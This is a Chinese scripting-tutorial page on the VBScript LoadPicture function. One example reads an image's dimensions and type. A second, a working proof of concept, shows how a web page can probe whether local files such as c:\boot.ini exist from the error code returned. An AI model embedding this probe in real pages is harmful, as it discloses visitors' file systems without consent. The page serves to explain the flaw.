繁体中文
设为首页
加入收藏
脚本专栏
网络编程
电子书
软件下载
实用技巧
软件编程
网页制作
操作系统
经典网摘
网站技巧
在线手册
在线工具
文章搜索
主机租用
域名查询
vbs
DOS/BAT
hta
htc
python
perl
其它
游戏脚本
VBA
远程脚本
ColdFusion
ruby专题
autoit
seraphzone
页面导航：
首页
→
脚本专栏
→
vbs
→ 正文内容 vbscript LoadPicture
vbs中的LoadPicture函数示例
发布：dxy 字体：[
增加
减小
] 类型：转载
vbscript LoadPicture函数可以查看本地图片的一些信息，不过有些漏洞，纯交流可以，不建议使用
示例：
点击运行可以看到效果:
<title>LoadPicture函数</title> <form name="frm"> 选择图片<input type="file" name="pic" onChange="GetPicInfor()" > </form> <script language="vbscript"> Sub GetPicInfor() dim objpic,iWidth,iHeight dim pictype,picpath picpath=document.frm.pic.value set objpic=Loadpicture(picpath) iWidth = round(objpic.width / 26.4583) ‘26.4583是像素值 iHeight = round(objpic.height / 26.4583) select case objpic.type case 0 pictype = "None" case 1 pictype = "Bitmap" case 2 pictype = "Metafile" case 3 pictype = "Icon" case 4 pictype = "Win32-enhanced metafile" end select document.write "你选择了图片"&picpath document.write "<li>长度:"&iHeight&"</li>" document.write "<li>宽度:"&iwidth&"</li>" document.write "<li>类型:"&pictype&"</li>" End Sub </script>
[Ctrl+A 全选 提示:你可先修改部分代码,再按运行]
不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:
点击运行可以看到效果:
<form onsubmit="doIt(this);return false"> <input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit"> </form> <script language="vbscript"> Sub loadIt(filename) LoadPicture(filename) End Sub </script> <script language="javascript"> function doIt(form) { try { loadIt(form.filename.value); } catch(e) { result = e.number; } if (result != -2146827856) { alert('file exists'); } else { alert('file does not exist'); } } </script>
[Ctrl+A 全选 提示:你可先修改部分代码,再按运行]
Tags：
vbs
LoadPicture
浏览次数：
载入中...
打印本文
关闭本文
返回首页
0
顶一下
上一篇文章：
关于phpwind克隆用户的方法
下一篇文章：
vbs后台运行bat删除自身的代码
·在百度中搜索关于“
vbs中的LoadPicture函数示例
”相关内容
·在谷歌中搜索关于“
vbs中的LoadPicture函数示例
”相关内容
文章评论
共有
位脚本之家网友发表了评论
我来说两句
同 类 文 章
vbs实现的支持拖动的txt文本切割器
把vbscript发挥到它的极限应用之一(数组)
用vbs实现本地添加用户的脚本
利用VBS发送邮件 挑选速度快的肉鸡做VPN
VBS教程：方法-CreateTextFile 方法
用VBS来代替BAT或CMD文件进行命令
本地连接禁用/启用批处理脚本
基于逻辑运算的简单权限系统(原理,设计,实
VBS教程：方法-ReadLine 方法
VBS教程：对象-Folders 集合
最 近 更 新
可以将文件转换为vbs语句的vbs代码
VBS教程：函数-GetLocale 函数
VBS教程：函数-DateDiff 函数
vbs版IP地理位置查询小偷
用vbs实现zip功能的脚本
VBS教程：函数-CByte 函数
远程启动终端服务的windows脚本ROTS.vbs
VBS教程：运算符-Eqv 运算符
利用vbscript脚本修改文件内容，此适用于
VBS教程：属性-VolumeName 属性
热 点 排 行
Wscript.Shell 对象详细介绍！！
脚本-学习VBS的一个不错的教程
VBS常用脚本 好东西
vbscript和javascript版的15位,
收藏的比较精典VBS代码
vbs脚本大全，配有实例 DOS命令，
vbs教程 chm下载
飘叶千夫指源代码，又称qq刷屏器
最新恶意复制型病毒autorun.inf，
tel.xls.vbs xls专杀工具
文章评论
共有 位脚本之家网友发表了评论我来说两句